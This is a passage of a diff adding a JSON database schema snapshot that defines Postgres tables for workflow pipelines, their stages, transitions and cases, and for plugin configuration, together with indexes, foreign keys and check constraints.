+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_cases_pipeline_case_key_uq": {
+          "name": "pipeline_cases_pipeline_case_key_uq",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_parent_request_key_uq": {
+          "name": "pipeline_cases_parent_request_key_uq",
+          "columns": [
+            {
+              "expression": "parent_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "request_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"pipeline_cases\".\"request_key\" is not null and \"pipeline_cases\".\"retired_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_company_idx": {
+          "name": "pipeline_cases_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_pipeline_stage_idx": {
+          "name": "pipeline_cases_pipeline_stage_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_parent_idx": {
+          "name": "pipeline_cases_parent_idx",
+          "columns": [
+            {
+              "expression": "parent_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_automation_attempt_idx": {
+          "name": "pipeline_cases_automation_attempt_idx",
+          "columns": [
+            {
+              "expression": "automation_attempt_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_retired_idx": {
+          "name": "pipeline_cases_retired_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "retired_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_lease_expires_idx": {
+          "name": "pipeline_cases_lease_expires_idx",
+          "columns": [
+            {
+              "expression": "lease_expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"pipeline_cases\".\"lease_expires_at\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_cases_company_id_companies_id_fk": {
+          "name": "pipeline_cases_company_id_companies_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_cases_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_cases_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_parent_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_cases_parent_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "parent_case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_lease_agent_id_agents_id_fk": {
+          "name": "pipeline_cases_lease_agent_id_agents_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "lease_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_created_by_agent_id_agents_id_fk": {
+          "name": "pipeline_cases_created_by_agent_id_agents_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_cases_terminal_kind_check": {
+          "name": "pipeline_cases_terminal_kind_check",
+          "value": "\"pipeline_cases\".\"terminal_kind\" is null or \"pipeline_cases\".\"terminal_kind\" in ('done', 'cancelled')"
+        },
+        "pipeline_cases_lease_owner_type_check": {
+          "name": "pipeline_cases_lease_owner_type_check",
+          "value": "\"pipeline_cases\".\"lease_owner_type\" is null or \"pipeline_cases\".\"lease_owner_type\" in ('user', 'agent')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_documents": {
+      "name": "pipeline_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_documents_company_pipeline_key_uq": {
+          "name": "pipeline_documents_company_pipeline_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_documents_document_uq": {
+          "name": "pipeline_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_documents_company_pipeline_updated_idx": {
+          "name": "pipeline_documents_company_pipeline_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_documents_company_id_companies_id_fk": {
+          "name": "pipeline_documents_company_id_companies_id_fk",
+          "tableFrom": "pipeline_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_documents_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_documents_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_documents",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_documents_document_id_documents_id_fk": {
+          "name": "pipeline_documents_document_id_documents_id_fk",
+          "tableFrom": "pipeline_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipeline_stages": {
+      "name": "pipeline_stages",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "position": {
+          "name": "position",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_stages_pipeline_key_uq": {
+          "name": "pipeline_stages_pipeline_key_uq",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_stages_pipeline_position_idx": {
+          "name": "pipeline_stages_pipeline_position_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "position",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_stages_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_stages_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_stages",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_stages_kind_check": {
+          "name": "pipeline_stages_kind_check",
+          "value": "\"pipeline_stages\".\"kind\" in ('working', 'review', 'done', 'cancelled')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_transitions": {
+      "name": "pipeline_transitions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "from_stage_id": {
+          "name": "from_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "to_stage_id": {
+          "name": "to_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_transitions_pipeline_edge_uq": {
+          "name": "pipeline_transitions_pipeline_edge_uq",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "from_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "to_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_transitions_pipeline_from_idx": {
+          "name": "pipeline_transitions_pipeline_from_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "from_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_transitions_pipeline_to_idx": {
+          "name": "pipeline_transitions_pipeline_to_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "to_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_transitions_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_transitions_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_transitions",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_transitions_from_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_transitions_from_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_transitions",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "from_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_transitions_to_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_transitions_to_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_transitions",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "to_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipelines": {
+      "name": "pipelines",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "enforce_transitions": {
+          "name": "enforce_transitions",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipelines_company_key_uq": {
+          "name": "pipelines_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipelines_company_idx": {
+          "name": "pipelines_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipelines_company_project_idx": {
+          "name": "pipelines_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipelines_company_id_companies_id_fk": {
+          "name": "pipelines_company_id_companies_id_fk",
+          "tableFrom": "pipelines",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipelines_project_id_projects_id_fk": {
+          "name": "pipelines_project_id_projects_id_fk",
+          "tableFrom": "pipelines",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipelines_created_by_agent_id_agents_id_fk": {
+          "name": "pipelines_created_by_agent_id_agents_id_fk",
+          "tableFrom": "pipelines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_company_settings": {
+      "name": "plugin_company_settings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "settings_json": {
+          "name": "settings_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_company_settings_company_idx": {
+          "name": "plugin_company_settings_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_company_settings_plugin_idx": {
+          "name": "plugin_company_settings_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_company_settings_company_plugin_uq": {
+          "name": "plugin_company_settings_company_plugin_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_company_settings_company_id_companies_id_fk": {
+          "name": "plugin_company_settings_company_id_companies_id_fk",
+          "tableFrom": "plugin_company_settings",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_company_settings_plugin_id_plugins_id_fk": {
+          "name": "plugin_company_settings_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_company_settings",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_config": {
+      "name": "plugin_config",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_json": {
+          "name": "config_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_config_plugin_company_idx": {
+          "name": "plugin_config_plugin_company_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_config_plugin_id_plugins_id_fk": {
+          "name": "plugin_config_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_config",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_config_company_id_companies_id_fk": {
+          "name": "plugin_config_company_id_companies_id_fk",
+          "tableFrom": "plugin_config",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_database_namespaces": {
+      "name": "plugin_database_namespaces",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "namespace_name": {
+          "name": "namespace_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "namespace_mode": {
+          "name": "namespace_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'schema'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_database_namespaces_plugin_idx": {
+          "name": "plugin_database_namespaces_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_database_namespaces_namespace_idx": {
+          "name": "plugin_database_namespaces_namespace_idx",
+          "columns": [
+            {
+              "expression": "namespace_name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_database_namespaces_status_idx": {
+          "name": "plugin_database_namespaces_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_database_namespaces_plugin_id_plugins_id_fk": {
+          "name": "plugin_database_namespaces_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_database_namespaces",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_entities": {
+      "name": "plugin_entities",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "entity_type": {
+          "name": "entity_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_kind": {
+          "name": "scope_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "data": {
+          "name": "data",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_entities_plugin_idx": {
+          "name": "plugin_entities_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
